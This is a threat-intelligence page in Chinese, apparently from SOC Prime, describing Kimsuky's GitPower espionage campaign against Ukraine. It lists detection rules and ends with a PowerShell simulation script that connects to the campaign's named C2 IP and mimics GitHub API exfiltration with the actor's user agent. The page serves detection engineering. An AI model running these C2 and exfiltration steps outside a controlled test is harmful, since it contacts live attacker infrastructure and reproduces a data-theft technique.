SOC Prime Bias: Critical

13 Oct 2026 15:39 UTC

GitPower行动:Kimsuky对乌克兰的间谍活动

Author Photo
SOC Prime Team linkedin icon 关注
GitPower行动:Kimsuky对乌克兰的间谍活动
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

摘要

Kimsuky目前正在对乌克兰在外交、安全和国际政策方面的专家进行网络间谍活动。此行动被称为GitPower行动,依赖于回复诱饵鱼叉式网络钓鱼,并滥用GitHub、GitLab和Codeberg等合法开发平台以传播恶意软件。攻击者还开始使用人工智能工具制作诱饵文档并自动化攻击流程。

调查

调查人员审查了多个攻击阶段,包括伪装成PDF的恶意LNK文件和假冒Zoom安装程序。他们追踪到多阶段执行流程,其中VBScript和PowerShell脚本通过计划任务设置持久性。该组织使用硬编码C2服务器和GitHub的API来执行数据外泄。

缓解措施

组织应加强EDR检测和威胁狩猎能力,重点应对LNK文件、PowerShell和合法云开发服务的滥用。建议严格监控异常计划任务和对GitHub和GitLab的未经授权的API调用。用户应接受培训以识别复杂的回复诱饵社交工程策略。

响应

检测到后,应急响应人员应隔离受影响的端点,以阻止通过已识别的TCP C2或GitHub渠道的进一步数据外泄。分析人员应搜索未经授权的计划任务,并检查C:UsersPublic目录中的恶意VBS/PS1文件。需要将LNK执行与后续的合法云服务网络连接联系起来。

攻击流程

我们仍在更新此部分。

检测

可能存在双扩展的恶意LNK文件(通过cmdline)

SOC Prime团队
2026年10月13日

在可疑目录中使用绕过执行策略执行PowerShell文件(通过cmdline)

SOC Prime团队
2026年10月13日

Schtasks指向可疑目录/二进制文件/脚本(通过cmdline)

SOC Prime团队
2026年10月13日

LOLBAS WScript / CScript(通过process_creation)

SOC Prime团队
2026年10月13日

来自公共用户配置文件的可疑执行(通过process_creation)

SOC Prime团队
2026年10月13日

可疑的CURL使用(通过cmdline)

SOC Prime团队
2026年10月13日

可疑的Invoke-RestMethod使用(通过powershell)

SOC Prime团队
2026年10月13日

从Powershell调用可疑的.NET方法(通过powershell)

SOC Prime团队
2026年10月13日

由异常进程启动的可能Github文件下载(通过network_connection)

SOC Prime团队
2026年10月13日

公共用户配置文件中的可疑文件(通过file_event)

SOC Prime团队
2026年10月13日

用于检测的IOC(HashMd5):Kimsuky的GitPower行为针对乌克兰第四部分

SOC Prime AI规则
2026年10月13日

用于检测的IOC(HashMd5):Kimsuky的GitPower行为针对乌克兰第三部分

SOC Prime AI规则
2026年10月13日

用于检测的IOC(HashMd5):Kimsuky的GitPower行为针对乌克兰第二部分

SOC Prime AI规则
2026年10月13日

用于检测的IOC(HashMd5):Kimsuky的GitPower行为针对乌克兰第一部分

SOC Prime AI规则
2026年10月13日

用于检测的IOC(SourceIP):Kimsuky的GitPower行为针对乌克兰

SOC Prime AI规则
2026年10月13日

用于检测的IOC(DestinationIP):Kimsuky的GitPower行为针对乌克兰

SOC Prime AI规则
2026年10月13日

检测Kimsuky活动中的TCP C2连接和基于GitHub的数据外泄[Windows网络连接]

SOC Prime AI规则
2026年10月13日

检测用于恶意脚本执行的GoogleUpdateTaskMachineUA计划任务[Windows Sysmon]

SOC Prime AI规则
2026年10月13日

使用带混淆和持久性的LNK文件执行恶意PowerShell脚本[Windows进程创建]

SOC Prime AI规则
2026年10月13日

模拟执行

  • 攻击叙述与命令: 对手旨在通过GitHub建立指挥和控制(C2)通信并外泄敏感数据。首先,攻击者与硬编码的C2 IP建立一个TCP连接 111.92.246.145 端口 12345 以表示准备就绪。其次,为了避免通过传统的数据传输监控而被检测到,攻击者采用“地运行”方法,通过GitHub内容API将被盗文件上传到GitHub存储库,尤其模仿Kimsuky用户代理 GitHub-API/1.0.

  • 回归测试脚本:

    # Kimsuky检测验证的模拟脚本
    
    Write-Host "[+] 启动Kimsuky模拟…" -ForegroundColor Cyan
    
    # 1. 模拟C2连接 (TCP 111.92.246.145:12345)
    Write-Host "[+] 尝试连接到C2 111.92.246.145:12345" -ForegroundColor Yellow
    try {
        $tcpClient = New-Object System.Net.Sockets.TcpClient
        $connection = $tcpClient.BeginConnect("111.92.246.145", 12345, $null, $null)
        # 我们使用短超时以防止脚本在IP无法访问时挂起
        $success = $connection.AsyncWaitHandle.WaitOne(2000, $false)
        if (-not $success) { Write-Host "[!] 连接失败(如果IP脱机这是预期的),但Sysmon应仍然记录遥测。" -ForegroundColor Gray }
        $tcpClient.Close()
    } catch {
        Write-Host "[!] 在C2模拟期间出错:$($_.Exception.Message)" -ForegroundColor Red
    }
    
    # 2. 模拟GitHub外泄 (通过指定User-Agent的POST到GitHub API)
    Write-Host "[+] 尝试GitHub API外泄模拟…" -ForegroundColor Yellow
    $githubUri = "https://github.com/repos/test-attacker/exfil-repo/contents/stolen_data.txt"
    $userAgent = "GitHub-API/1.0"
    $headers = @{
        "Authorization" = "token FAKE_TOKEN_FOR_TESTING"
        "Content-Type"  = "application/json"
    }
    $body = @{
        "message" = "Exfiltrating data"
        "content" = "SGVsbG8gV29ybGQ=" # Base64为"Hello World"
    } | ConvertTo-Json
    
    try {
        # 使用 -UserAgent 触发特定检测逻辑
        Invoke-RestMethod -Uri $githubUri -Method Post -Headers $headers -Body $body -UserAgent $userAgent
    } catch {
        Write-Host "[!] HTTP请求已完成(假URL预期404/401,但已发送User-Agent)。" -ForegroundColor Gray
    }
    
    Write-Host "[+] 模拟完成。" -ForegroundColor Cyan
  • 清理命令:

    # 本模拟脚本未创建任何持久性工件。
    # 如果使用了任何本地文件应被删除:
    Remove-Item -Path ".stolen_data.txt" -ErrorAction SilentlyContinue
    Write-Host "[+] 清理完成。" -ForegroundColor Green